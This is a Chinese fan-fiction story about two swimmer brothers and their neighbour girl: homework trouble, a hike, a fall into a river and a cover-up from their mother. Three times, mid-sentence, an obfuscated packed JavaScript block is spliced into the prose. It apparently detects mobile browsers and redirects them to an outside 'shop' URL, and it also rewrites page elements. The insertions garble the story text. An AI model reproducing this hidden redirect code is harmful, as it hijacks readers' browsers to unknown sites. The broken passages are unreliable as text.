《[Free]糟糕！被桐岛兄弟包围了！》 1. 明明再哄一下就能好的！ 海风吹进小镇岩鸢的人行道，推着鹿鸣风音往前跑。 暑假结束之后她就是新学期了，距离这一天的到来居然只剩下短短一周的时间而已，真叫人痛心。 比起开学这件事，更加痛心的可能是她的暑假作业还欠了三本没写完，也难怪早上妈妈对她大发飙，差点按着肩膀、强迫她乖乖地坐在书桌旁写字，害得暑假剩下的这点少少的时光都不痛快了。 但是嘛，现在这些全都无所谓，无论是怎样的噩耗都不会影响到风音。她就是要抱着足球，高高兴兴地跑去找隔壁桐岛家的郁弥玩。 今天可是他难得不需要去游泳俱乐部的日子，风音绝对要抓住这个机会才行！ 再迈出一步，桐岛家的屋顶这就出现在了眼前。风音把足球从左手换到右手，对着二楼的窗户大喊了一声“郁弥——！” “快出来玩啦！我们今天去踢足球吧！” 没有回音。 郁弥这小子，不会是在睡觉吧？明明都说好了今天要一起玩的！ 风音撇撇嘴，又喊他了一声，可郁弥的窗帘都没有动一下。这可就有点怪了。 她刚才像大喇叭那样叭叭地叫了他两回，就算是塞着耳机也绝对能听到了。 既然没有理她，不会又在闹别扭了吧？ 想到这个可能性，风音忍不住要开始叹气了。 当了桐岛家整整五年的邻居，她肯定比谁要懂郁弥——也就是说，现在这种情况下，不理会她的郁弥八成意味着他正在和她置气，因为桐岛郁弥就是这么一个很容易就会不高兴还从来都不把自己的不满坦白地说出来的别扭小孩。 不过，昨天她好像也没有惹郁弥不高兴吧？她不就是在玩躲避球的时候好胜心大发作，每一局都最先把球丢到了他的脑袋上而已嘛。 躲避球比赛，有输就有赢，要是为了这点小事和她记仇，那郁弥的气量未免也太小了一点。 风音努努嘴，拿郁弥没办法。 说真的，她可不想在小伙伴的家楼下哄他，这样可太没面子了。但也不想就这么回家，玩乐失败可比丢脸更丢脸。想了想，她干脆把足球顶在脑袋上——她才不要轻易放弃！ “郁弥——郁弥？下楼啦，待会儿踢好球我们还可以去吃冰棒哦！” 风音一边说着，一边用脑袋顶球，多动到一秒都停不下来。 “听到了就快点下来了！” 窗帘稍稍动了动，但束之高阁的郁弥公主却不见其影。风音的耐心稍稍磨损了一点，开始琢磨着今天的足球是不是少一个人也能踢。 恰好是在这个时候，桐岛夏也回来了。 隔着一条马路，他就已经在和风音打招呼了，急匆匆地跑过来，差点和迎面驶来的自行车撞上。好惊险。 “嘿，风音。”夏也伸手过来，搓搓她的脑袋，“来找郁弥玩吗？” “嗯！” 风音和郁弥一样大，而夏也则比他们俩年长了三岁。话虽如此，一道玩起来的时候，这将近一千个日夜的差距好像也不算什么了。 这会儿夏也的头发还湿漉漉的，硕大一个健身包被他随意地甩在背后，估计是刚刚从游泳俱乐部回来，看起来心情相当不错，也难怪在风音说出自己今日呼唤郁弥的大失败时，他还能痛快地笑出来。 “你昨天是不是又惹他不开心了？”甚至一下子就抓住了问题的核心。 风音不服气：“哪有啊，夏也哥不可以泼我脏水！” “是吗？抱歉抱歉。” 说着道歉话语的他还是笑嘻嘻，顺便也帮着她唤了郁弥两声。 可就算是最喜欢的哥哥出马，居然还是毫无成效。夏也有点不好意思，干脆找借口说，郁弥可能不在家，虽然他出门的时候明明还看到弟弟在房间里睡午觉，八成这会儿也在房间里没有错。 “是嘛。那夏也哥和我一起去踢足球吧！”丝毫没被现状打击到的风音依旧心情超好，说话间还不忘冲他比了个大拇指，“我今天好不容易才凑齐了一整个队伍的，隔壁小学的同学也会参加哦！所以夏也哥也去嘛去嘛！” “好啊。” 于是他们俩开开心心地跑去足球场了，从二楼望下去，还能看到两人有说有笑的样子呢。 桐岛郁弥努力地探身向窗外，郁闷地看着风音和哥哥的背影消失在街尾，恼得脸都鼓起来了。 居然真的不带他一起玩啊？真过分！ 他又要开始生闷气了，虽然这股微不足道的气恼从风音走到他家楼下就没消停过。 没错，他确实在生鹿鸣风音的气，生气的理由也的确是她昨天在躲避球比赛中过分旺盛的好胜心和拿他硬当靶子打的那份执着，可他又不是真的要气一整天啊！ 他都想好了，只要风音再叫他两声——或者是三声，差不多就是这么个范围——他就会立刻消气，拉开窗帘和她说，他马上就下楼和她一起去踢足球。 结果被哥哥截胡了。过分！ 他们俩就是叛徒没错啦！他今天都不要理哥哥和风音了！ 桐岛郁弥气呼呼地用被子蒙住脑袋，决定将自己的决心贯彻到底，可不知怎么的，气着气着，居然睡着了，不过并未做梦，以至于两小时的睡眠咻一下溜走，回过神来，他已经被风音从床上拽起来了。 “结果你真的在睡觉呀？你是不是一点也没有听见我刚刚在楼下喊你？” 一睁眼就看到了风音笑眯眯的面孔。 她刚才绝对踢得很尽兴，整张脸都红扑扑的，漾着一层湿润的水汽，湿漉漉的几缕金发贴在额前，衬得她的眼睛分外明亮。她正咧嘴对他笑，露出今年才好不容易长齐的一排洁白整齐的漂亮牙齿——其实呀，就算是在掉牙齿的那段时间，她也会大大地咧着嘴，根本不觉得少了一颗或是几颗牙齿有什么难看的。 郁弥被风音的笑脸闪耀得差点睁不开眼，那点难以言说的小小恼怒也瞬间在阳光下无处遁形。他支支吾吾了几声，把风音刚才那句“是不是没听到我在喊你”的问话糊弄了过去，从双层床上跳下去。 恰是在这时候，夏也推门进来了。一样玩足球玩得很开心的他的脸上浮着与风音一样的燥热红晕，恼怒心情一下子回到了郁弥心里，他别开脑袋不去看，但一发现哥哥原来是端着蜜瓜和梨子进来的，这点突兀的气恼彻底烟消云散，叛徒的哥哥也瞬间变回了最喜欢的哥哥。 闹也闹完了，玩也玩完了，接下来就是一如既往的轻松时间了，三个小孩会挤在郁弥的房间里一起看电视，一直到桐岛家的妈妈律子喊他们不要贪玩或者是鹿鸣家的妈妈幸喊她回家为止。 不过嘛，在被大人搅局之前，他们大可以尽兴地玩乐。 风音坐在郁弥和夏也中间，听当哥哥的那位劝弟弟快点把今日份的两百五十毫升牛奶喝完，而当弟弟的满心不情愿，想也知道待会儿趁哥哥走掉的时候他绝对会把牛奶偷偷塞进她的怀里，让她帮忙分担。 虽然能莫名其妙喝上一杯牛奶很好，可牛奶战争实在足够烦恼。风音不想掺和进去，干脆自动屏蔽了两位桐岛的声音，没什么耐心地摁着遥控器。电视台换了一个又一个，哪个节目都好像不够有意思，最后只好停在体育频道，看昨天的F1匈牙利大奖赛的重播。 也是在这时候，牛奶战争消停了一会儿，大家都开始聚精会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619323|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神地盯着电视——拜托，不会有哪个小孩不喜欢在赛道上狂奔的一级方程式赛车的。 不过，这场比赛好像稍稍有点无趣，没有超车更没有撞车，大家就这么按部就班地行驶在自己的位置上，感觉从比赛中段就能预见到最后的结果了。 风音往靠垫上一摊，抓起蜜瓜塞进嘴里。郁弥瞄了她一眼，很快就收回了视线，但一看就知道他是想说点什么。 “干嘛？”风音一点也不拐弯抹角，干脆地问他，“说吧。” 一下子就被看穿了心情，这种事还挺丢人的。郁弥气鼓着脸，赶紧抢走盘子里最后一块蜜瓜，这才嘀咕着说，今年夏天风音居然一直都待在岩鸢，好难得。 “你不是每逢假期就要去巴黎和你爸爸住的吗？” 风音的爸爸从这里搬走已经有好几了，不过郁弥倒是一直记得他。没什么别的原因，纯粹是她的老爸真的给他留下了很深刻的印象。 说起来，那时候风音还叫Kasane Erina Seydoux，刚搬到岩鸢。她那个巴黎土生土长、整个人都带着香榭丽舍时髦气味的法国人老爹带她一起来拜访桐岛家，操着一口含着水的日语和新邻居们打招呼，年仅三岁的郁弥平生第一回见到如此光秃秃的头顶能与毛茸茸的下巴结合在同一个脑袋上，中间还夹了个硕大且高挺的鹰钩鼻，吓得他只瞄了一眼就躲到了夏也背后。 不知道算好还是坏，给郁弥带来了深重印象的她的法国人老爹在隔年搬离岩鸢，卡萨涅·塞杜也改了姓氏，从此变成了他最熟悉的鹿鸣风音。 在那之后，她每年春假和暑假都要去巴黎和爸爸一起住，每逢假期她就没影了，想找她玩都要抓紧时间，一旦错过就要等上一整个月了。而在这点时间里，法国的阳光会把她镀得白皙，要被岩鸢的海风吹上几个月之后，才会恢复一如既往漂亮的小麦色。 对于自家老爹皮埃尔给小伙伴留下这等心理阴影，风音一点都不知道。她只耸耸肩膀：“我觉得巴黎太没意思了，所以就和我爸说我以后不去和他住了。但我今年也不是总在岩鸢啊——暑假刚开始的时候我和爸爸去伦敦玩了，你们没发现吗？” 郁弥心虚地移开了目光。 他一点也没发现，因为那会儿他光顾着学会新泳姿了，在好长一段时间里都处于一种不谙世事的状态。 夏也嘛，听到这话的他只是别扭地眨了下眼。他以为风音今年也要在遥远的另一片大陆度过一整个夏天，在她早早回来的时候倒是稍稍开心了一下，不过完全没想到她只是出门旅游而已。 好嘛，兄弟俩的“冷漠”真让人失望。不过风音也不怪他们，毕竟她也没说起自己去伦敦玩的事情，连伴手礼都忘了带。最缺少良心的那个应该是她本人才对。 “总之，以后的假期我肯定都在岩鸢了。”她信誓旦旦，“我爸也没意见。毕竟他现在有新女朋友了嘛，肯定很想多花时间在她身上的。我就不去打扰他啦。” 新女朋友啊…… 夏也隐隐约约已经能感觉到这意味着什么了，不过比他少了一千多天阅历的郁弥略显迷茫。 “为什么风音的爸爸有新女朋友了？那风音的妈妈怎么办？” “我妈妈也可以找新男朋友啊。”风音抱着手臂，像个小大人似的挺起胸膛，“因为他们离婚了呀。” “哦……” 郁弥点点头，一副恍然大悟的样子。 实际上他完全没懂。 也难怪他接下来丢出了一句：“什么叫离婚？风音的爸妈为什么要离婚？” 啃着梨子的夏也差点炸开来了——弟弟这个有眼力见的笨蛋啊啊啊！ 2. 知识科普相当必要 作为桐岛家的长兄、兼这个房间里唯一一个年龄跃升两位数的年长者，早就在父母的闲聊中明白了什么叫“离婚”的桐岛夏也现在很后悔，相当后悔——他就应该在弟弟说出“什么叫离婚”的时候赶紧捂住他的嘴，这样他就不会再来上一句更吓人的“为什么要离婚”了。 相当可惜，沉迷于啃梨子的他稍稍慢了半拍，而郁弥偏偏又在这时候嘴快，以至于他反应过来的时候，所以该说的或是不该说的，全都已经说出来了。 气氛好像沉寂了一会儿，一度只剩下了电视机里一级方程式赛车的轰鸣声，还有空调呼呼的动静。 不好！ ……但现在赶紧让郁弥补上一句“当我没说”应该还来得及吧？ 夏也赶紧朝郁弥投去目光，对他进行了好一阵挤眉弄眼，眼睛都快眨出摩斯电码了，可郁弥看起却更加茫然。 “哥，你在干嘛？” 被他这么一说，就连风音都投来目光了：“嗯？夏也哥怎么了吗？” 夏也迅速收起乱七八糟的表情，只余下一点点的尴尬还挂在他的嘴角上。他赶紧摇头，叽咕了一句“没事”。 总之，暗示大法是彻底失效了，最佳的挽回机会也彻底为时晚矣。夏也无计可施了，决定调整思路，开始思考接下来要怎么让风音高兴起来比较合适。 不过，思考这种事情似乎有点多余了。风音并没有不高兴，她刚才的沉默只是在想该怎么要和郁弥解释而已，正好她现在已经想好了。 “离婚嘛，离婚就是爸爸和妈妈分开了，再也不在一起了。” 她一脸认真地说，这股认真劲也来到了郁弥的身上。他郑重其事地点点头：“那我爸妈现在也离婚了，是吗？因为我爸爸现在也和妈妈分开了。” 夏也已经想把郁弥揪去书房看挂在墙上的那张爸妈婚礼的照片了。 还好，在他的冲动化作实际之前，小大人风音已经开始解释起来了：“不是哦。桐岛叔叔只是工作很忙，没时间回家而已。离婚是另一方永远不回来才对。” “唔……是哦！” 他爸爸是公务员，一年有超过三分之二的时间在海外出差，但确实是会回来的，不符合离婚的定义。 “至于为什么要离婚嘛。我妈说，我爸出轨了。” “哦……”那股子好像明白了但完全不明白的感觉又回到郁弥的脑袋里了，“出鬼是什么鬼？” 夏也头好痛。 果然他就该早点阻断这场对话才对的啊啊啊啊！ 还好还好，风音还是没生气——实不相瞒，郁弥的这份无知给她带来了莫大的满足感，因为这样一来她就变成他们之间懂得最多的那个了，好耶！ “不是鬼哦。是出轨。”她特别认真，“意思是他一边喜欢我妈妈还一边喜欢别人，也就是背叛！” “咦！” 小小郁弥的三观遭受到了巨大的冲击，印象里那颗光秃秃的法国脑袋一下子被打上了“坏人”的标签。他好生气。 “要是你爸爸是我爸爸，那我肯定一辈子都不要和他好了——叛徒什么的最讨厌了！”他甚至还要义愤填膺地这么说。 “是呀是呀！”风音也不停点头，“我一开始也很不高兴，可妈妈说别对他生气，因为他在做爸爸这方面并没有做错什么。而且，多一个爱我的人总比少一个好，所以我现在还是会和爸爸一起玩哦。不过你放心好了，虽然我和我爸很像，但我绝对不会和他一样，一次性喜欢上两个人的！” 郁弥茫然地眨眨眼：“风音和你爸爸不像吧？” “像的像的。你看，我遗传了我爸的金发呀。” 似乎是为了证明自己这话完全没错，她还挑起了耳边的一缕发丝给他看，明明她一整个浅金色的脑袋如此显眼。 郁弥一副难以置信的表情，仿佛第一次触及到一个知识盲区，害得他瞬间叫了起来：“你爸原来有过头发吗？” “……你这样超不礼貌哦！” 说着两个人就差点打起来了，怎么看都剑拔弩张，只有旁观一切的夏也默默松了口气——小孩子打架总比戳中风音的家庭创伤好多了，至少她现在可是笑嘻嘻地把郁弥按在地上的。 而他嘛，他只要在郁弥开始求救的时候摆出哥哥的做派，把他的弟弟和妹妹（编外）揪开，然后坐在他们中间就好了，俩小孩很快就会消气，再度变回那副亲亲热热的样子的。他早就习惯这种趋势了。 只不过闹着闹着，妈妈桐岛律子就推门进来了，原来是隔壁家鹿鸣家妈妈催风音回家吃饭。 虽然还想继续赖在小伙伴们的身边，但无论何时何地，妈妈的命令才是金科玉律，可不能违背。 风音从地上起来，拍拍短裤上的灰尘，冲夏也和郁弥挥挥手。 “拜拜咯！下次见！” “诶？”郁弥瘪着脸。 他难免恋恋不舍——今天光顾着和风音置气了，根本没好好玩嘛。难得在一起的时间被这么浪费掉，实在是太可惜了。 “那，明天还去踢足球吗？”他忍不住问。 风音想了想，夸张地叹气：“不行啦。我明天肯定要补暑假作业，妈妈绝对不会允许我再出门玩的。” “好吧……” 错过机会当真就这么溜走了，好上心。他沮丧地说了再见，而今天已经玩得很尽兴的夏也截然不同，完全可以轻快地朝她挥手道别。 风音在集齐了桐岛兄弟的“拜拜”之后才高高兴兴地跑回家，乖乖坐在餐桌前，吃妈妈特制的“不算特别好吃且唯一的优点大概是营养丰富”爱心蛋包饭。 “对了，妈妈明天要出差哦。”吃到只剩一口的时候，听到妈妈鹿鸣幸说，“后天晚上才会回来。你一个人在家我不放心，所以……” 风音噌一下站起来，挺起薄薄的胸膛：“我一个人没问题的！妈妈你该对我多点信心，我已经不是小孩子了！” “我知道呀。”妈妈顺毛摸摸她，“是妈妈胆子很小而已，害怕你一个人在家会有什么。我已经和桐岛家的律子阿姨说好了，明天你就在他们家睡吧，好不好？” 风音差点下意识地又要说出自我证明的话语，并且一定要倔强地摆脱自己这个“必须要担 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619324|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心不可的小孩”身份，但一听到妈妈的后半句话，她的逞强瞬间被堵在喉咙里了。 去桐岛家住……不就可以和夏也还有郁弥玩一整天……棒极了！ 一瞬之间，包裹着泰式甜辣酱的米饭（妈妈怎么又拿错酱料瓶了）和盖在饭上的那层微微焦糊的煎蛋皮（妈妈肯定忘记煤气灶还有小火档位了）全都不算什么了，风音高兴到几乎想要跳起来，但是不行。 要是表现得太过开心，鹿鸣幸绝对会猜出她将趁着自己出差的这段时间不补作业疯玩的。 风音拼命压住上扬的嘴角，演出一副好失落的模样，问妈妈到底要去哪儿出差，然后在听到答复之后立刻追加一句“你一定要要给我带那里的点心哦！”，如此一来就能理所应当地笑起来了。 疯玩一整天，这种事光是想想都觉得高兴。靠着这点盼头，风音这一晚做了个相当幸福的美梦，可惜醒来就完全忘记了。 没关系，今天肯定能创造出比美梦更加快乐的玩耍回忆！ 这么想着的风音蹦跶着穿过马路，朝桐岛家走去，妈妈则是提着包走在后头，一如既往不紧不慢的步调，慢悠悠跟上来，叩响了桐岛家的大门。 “来了！” 开门的是夏也。 和每个邻里之间称道不已的乖小孩一样，他会礼貌地和鹿鸣家妈妈打招呼，也会赶紧叫自己的妈妈过来，在妈妈们说话的时候塞给风音一块漂亮的石头，说是昨天在院子里捡到的。 “是你喜欢的那种亮晶晶的东西，对吧？” 他说着，嘴角扬起的弧度怎么看都透着一股小小的得意，仿佛知道她的喜好是什么很了不起的事情。 好嘛，确实是挺了不起的。 他找到的这块表面光滑、通体透白色、对着阳光时还能看出浓雾般花纹的石英石，确实是风音最喜欢的那种小东西。她迫不及待把石头揣进口袋里，还来不及和夏也说谢谢，妈妈的手就已经越过她的头顶，来到了夏也的肩膀上。 “夏也君，拜托你这两天监督风音好好写暑假作业，可以吗？这孩子完全没有规划，作业拖到了现在都还没有写完。” 桐岛律子捂嘴笑起来：“没问题的。我们夏也是哥哥嘛，肯定会监督好妹妹的，对不对？” 身负两位大人的期待，夏也丝毫不紧张，还认真地点点头：“放心地交给我吧！” ……等等，好像有点不妙！ 风音开始冒冷汗了。 当律子阿姨带着她来到夏也的写字台前，还贴心地把他的自已调高到符合自己的身量的时候，她心里的“有点不妙”变成了“非常不妙”。 而现在，只要风音往左看，就会与关注着她作业进度的夏也对上视线。可一旦将视线挪向右侧，来看热闹且暑假一开始就写完了所有作业的郁弥就会来上一句“干嘛”，而低头则是一笔未动的数学练习册…… 很好，此刻是“超级不妙”。 风音忍不住了。 “我不想被你们俩一起监督着写作业啊啊啊！压力太大了！” 完美的玩乐计划，卒了——！ 3. 享乐与受难的优先级 鹿鸣风音相信，这世上最痛苦的事情，绝对是暑假将将走到尾声，作业却还欠了一堆。实在，不成想世间居然还有着比这更加痛苦的存在——她居然要被桐岛家的兄弟盯着写作业！ 啊……好恐怖，压力好大…… 在两双几乎完全相同的橘红色眼眸的注视之下，风音根本没办法像平常那样写两个字就停笔东张西望，或是开始用铅笔戳橡皮，或是做任何不专心的事情，毕竟夏也和郁弥的目光就像灯泡那样过分明亮，齐刷刷投下来，无论她的什么小动作都会投下一层罪恶阴影的。 “为什么你还没写完作业啊？”郁弥叹气。 他真的搞不懂风音。 “这点内容，不是花上两天时间就能写完了吗？” 他们俩可是同班同学，老师在假期前布置了多少作业他最清楚了——并且他就是那个暑假刚开始就猛猛花了两天时间写完作业的积极分子。 “啊、这个嘛……”风音抹了把羞耻的冷汗，“因为我、每天都、出门玩了？” 今天打了排球明天准备踢足球后天还要去海滩上铲沙子，她的玩乐日程排得满满当当，玩得简直仿佛这是人生中最后一个暑假那样疯，快乐确实收获了一大堆，唯一的受害者只有她的暑假作业。 “没事的，今天开始写也来得及。” 夏也可不会对她进行嘲讽，只是轻轻把手搭在她的肩膀上——果然是称职的哥哥角色呢！ “郁弥你也帮帮风音嘛。” 郁弥梗着脖子：“不要，就算哥哥求我也不行。” “那没办法了……”夏也搓搓她的脑袋，“那就努努力，今天一口气解决吧。” 一口气解决……她只怕自己这一口气特别短。 风音差点要掉眼泪，可怜巴巴望着夏也：“我们今天真的不能出门玩吗？作业可以留到明天补嘛。” “那为什么不今天写完作业，明天一起去玩呢？风音，你不能总想着先享乐啦。”夏也略显无奈，“要是你今天写完作业了，说不定明天我们可以去远一点的地方玩？” 她来劲了：“去哪儿？”就连郁弥也凑过来。 突然一下子背负了两个人的期待，夏也责任重大，他必须得好好想想。 海滩很好玩也很有意思，可惜是每天都会见到的风景；虽然打心底觉得游泳俱乐部是全世界最快乐的地方，但那里对于不会游泳的风音来说绝对是噩梦般的存在。 或者干脆去JR车站旁边的商场玩？唔，似乎不算有趣。 夏也的思考时间成功转化成了风音的摸鱼时间，她满心期盼着他最好能够琢磨上一整天，可惜没过多久，他就想到合适的去处了。 “鹰见山吧，怎么样？”他提议，“有个游泳俱乐部的朋友和我说，他在山上见到了一条会发光的蛇。” “蛇——！” 现在是风音的眼睛要发光了。 “好酷！我们快去快去吧！” 她兴奋到弹射起步，可惜还没抬起脚尖，就被夏也按回椅子上了。 “鹰见山是明天的事。今天的任务是暑假作业。”他笑眯眯的，丝毫没有意识到自己对她说出了多么恐怖的话，“不写完就没办法去了。” “呜……知道了，知道了……” 必须完成的暑假作业就和无法逆转的暑假时光一样不可抵抗，风音已经太过了解这个道理，此刻完全失去了辩驳的余力，叹着气，重新拿起了铅笔。 果然这一整天都耗在作业上了。 夏也就这么很有耐心地一直陪着她，郁弥则是看了一会儿就嫌无聊，偷摸摸走掉了，过几个小时后才回来偷瞄几眼，不由自主地发出一声类似叹气的哼声，让她压力好大。 风音努力忍下郁闷的心情，朝他投去求助的目光：“郁弥来帮我分担一点好不好？只要写掉这一小本就好了！” “不要。”他嫌弃地后退了两步，“而且，你字写得好丑，我肯定学不来。” “呃啊——！” 请求帮忙被拒绝也就算了，居然连自己笔迹也要被抱怨一通，真是双重打击！ 风音蔫了，彻彻底底地倒下来，就算是被夏也扶了起来也坐不住两秒，眨眨眼就又瘫到了作业本上。夏也赶紧托着她的肩膀把她提起来，好一阵打气，总算是让她复活到了能继续写字的水平。 抛开不顺的开局和不顺的过程，好在结果尚可，风音在时针指向晚上九点的那个瞬间戳下了最后一个句号，迫在眉睫的作业危机就此结束。 好耶，出去玩咯！ 刚吃完早饭，郁弥和风音就迫不及待要冲出家门了，夏也则是在厨房里打包饭团当午饭，慢吞吞地才跟上来。 当然了，桐岛律子绝对不会轻易同意三个小毛头跑去好几公里外的鹰见山进行野外探险，就算是有最年长的夏也带队也是一样，所以干脆说了谎，宣称只是去附近的小河边玩到下午热得不行的时候再回来，诚恳的做派顺利把她唬了过去。 然后赶紧冲向两条街外的车站，登上驶向鹰见山的公交车吧！ 摇摇晃度过晃八站路，不算太高也绝不低矮的鹰见山出现在车窗外。 听说十几年前，岩鸢町旅游振兴发展会力图将这座小山打造成本地的标志景点之一，为此还开发了好多条徒步步道，可惜临海的岩鸢似乎在吸引游客这方面没什么天赋，于是鹰见山的徒步步道也完全荒废了，好不容易才能在踏碎的落叶下感觉到一点水泥地的真实感。 但好消息是，现在这座山上长满了各种奇形怪状的植物和虫子，完全变成了小孩的探索天堂，还没走到山顶上，风音就已经找到九种完全不一样的甲虫了。 “看！”她举着大半截手指长的白色花纹黑虫子，“是华星天牛诶，郁弥快看快看！” 说着还要把天牛怼到他脸上。 郁弥快要叫出声来了——倒也不是讨厌或是害怕虫子，但这么大只的家伙要往脸上贴未免也太吓人了。 被这种可能性吓到脸都白了的郁弥“啊啊啊啊”地往前跑，宣称着要把华星天牛塞进他衣服里的风音“嘿嘿嘿嘿”地追着他，只有夏也在叹气，叮嘱他们：“你们俩，小心别迷路了！” 叹息之余还要庆幸一下风音没有把虫子往自己这儿拿。风音大概不知道，他其实很怕虫子呢。 不过嘛，迷路什么的倒是不用担心。鹰见山就这么大一点，实在没有迷失的余地……但风音怎么一下子不见了？ 奔跑在木质吊桥上的郁弥突然发现身后那恶作剧的笑声消失了，急促的脚步声也听不到，一回头，明明紧跟着他来到吊桥上的风音消失无踪。 而从走在后方的夏也视角去看，风音是倏地一下子沉进桥下的。 架在山间小河上的木质吊桥年久失修，桥面的木板在最不该碎的时候完全碎裂，倒霉蛋风音连“啊”的一声也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16619325|187803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没来得及发出来，就掉进下方的小河里了。 正值汛期，这条小河也比平日上涨了不少，朝下游奔涌而去，她一下子就被拽进了水底，金色脑袋乘着水流越漂越远，眨了眨眼就没影了。 郁弥一下子愣住了，反应过来的时候，夏也已经跳进了小河里。他想跟上去的时候，哥哥却说别跳下来。 “河水和游泳池可不一样，你也跳下来的话就太危险了。待在原地别动，我马上回来！”夏也叮嘱他。 “啊……好！” 话虽如此，郁弥怎么待得住呢？只站了两秒钟，他就忍不住迈步了，沿岸狂奔，一心想着得赶紧接应哥哥和风音才好。 不过嘛，对于桐岛兄弟俩的救援行动，风音一无所知。现在她只能看到一点点的天空，还有无数次漫过视线的河水。 原来这条小河这么深吗，别说浮起来了，怎么都没办法站直呢？ 想要发出声音，也想快点站起来，可是整个身体被水托着，除了下沉之外根本动弹不得，每一下挣扎都只会带来深深的无力，带着土腥味的水冲进嘴里，难以呼吸。努力着，她向天空伸出手。 很快就有人抓住了她的手，把她拽起来。 “没事吧？”夏也拨开风音乱糟糟的头发，目光过分紧张地扫过她，“呛水了吗？” 她咳了两下：“没事，没事……诶？” 她现在居然好好地站起来了，可这条小河不是很深吗？ 风音不可置信地低头，终于发现，河水这才刚刚淌过她的手肘——根本就是条浅浅的河水嘛！ 在这么一条小河里险些溺水，这个事实真的太打击人了，她都没脸去听夏也的询问了，匆匆忙忙跑到岸上。 可惜才迈出一步，就被脚腕的疼痛刺到差点又跌进河里。 实在不巧，从桥上掉下去的时候，她崴伤了脚，上衣也被桥面的碎木头拉扯着撕开了一道大口子，情况可以说相当不乐观了。她完全是连滚带爬地上了岸，岸上的郁弥向她伸手，赶紧把她从水里拉上来。 “没事没事，我没事！”她赶紧替自己正名，说着就要往前走，“我们快点去找发光的蛇吧！……唔。” 才走了一步，风音的平衡感就瞬间失衡了。有点痛的脚腕果然很碍事呢。 夏也拦着不让她往前走：“脚扭伤就别逞强了，硬要走路的话，会变得更严重的。” 他脱下T恤给她。 “穿我的衣服吧，虽然湿哒哒的。” “唔，谢谢。不好意思。” 他轻轻摇头：“不是你的错，所以不用道歉。” 或许是在最开始的时候，行动就已经慢了半拍，此刻郁弥很有一种被哥哥和风音一起撇到了外头的错觉，他慌忙掺和进两人中间，急匆匆说：“现在我们要怎么回去？风音没办法走路了。” 风音完全不觉得这是什么大事：“单脚跳回去咯。我平衡感超好，也很擅长单脚跳，现在我就跳给你看！” 说着说着甚至得意起来了，湿哒哒的金发也差点骄傲地翘起来。这可真是太鹿鸣风音了。 “别说这种傻话啦。”郁弥对她好胜心真的有点无计可施了，“要是你另一只脚也崴了呢，那怎么办？难道要倒立着用手走回家？” “这个嘛——” 倒立着用手走回家……好像也不是不行？ 风音已经开始思考这件事的成功概率了。 4. 禁止筷子打架 不管怎么说，用两只手撑着跳回家，这种事还是太恐怖了，且有点像是小丑才能做到的事情。 在风音估算出自己是否能够做到这一切的可能性之前，郁弥赶紧摆出一副不那么情愿的样子（装的），赶在夏也开口之前说：“算了，我背你吧。” “诶？好啊。” 有座驾可是大好事一桩，想也知道平时郁弥绝不可能主动提出这种事。风音甚至忍不住窃喜起来，赶紧跳到他的背上。 短短一秒钟之后，郁弥的身体不受控制地歪向一侧，并与五秒钟后彻底垮下——很不想承认，但标准八岁儿童的二十四千克的确是他目前无法承受的重量。 “好吧……还是让我来吧。” 只能由夏也伸出援手了。 风音挪到他的背上。 哇，意外得很稳呢。 虽然平时也觉得夏也哥长得好高，但真到了他的背上，才发现他的肩膀也好宽，就这么轻轻松松稳稳当当地把她整个人托了起来。好厉害。 很可惜，在即将走到山脚下时，他的体力差不多也要见底了。风音都能听到他呼呼的喘息声了，整个胸腔都在欺负，连带着她整个人也上上下下的。 “加油啊夏也哥！我们肯定能顺利地走回家的！” 风音努力给他鼓劲。 能听到加油当然很好，可惜力气实在没办法再冒出更多。夏也实在有点背不动了，从山脚到车站的最后一段路，只能由桐岛兄弟一人扛起她的一条肩膀，就这么把她架着回了家。 顺便一提，在山脚下他们找到发光的蛇了，就是一条废弃的灯带而已。真叫人失望。 真正的挑战从到桐岛家之后开始。 “要是被律子阿姨知道我掉进河里了，那妈妈肯定也会知道的，所以绝对不能暴露呀！”风音好急，“我们得瞒天过海才行！” 崴脚倒是好解释，随便说是走路的时候摔倒了就行，可湿漉漉的衣服肯定藏不住秘密。 也就是说，他们决不能被律子发现这副落水狗似的狼狈模样——必须神不知鬼不觉地潜进家里才行！ 于是，唯一一个从小河中全身而退且浑身干爽的郁弥就得打头阵了。必须由他率先推门进屋才行。 总感觉像是在撒一个巨大的谎言，郁弥胆战心惊的，蹑手蹑脚走进回家，好在一眼就锁定了在厨房里切菜的妈妈。赶在她投来目光之前，他一个箭步冲到她身边，稍稍刻意地踮起脚尖，用小小的身板挡住了妈妈望向门外的视线，再用响亮的一声“我回来啦！”盖住玄关处微弱的脚步声。 妈妈一点也没有觉得一样。 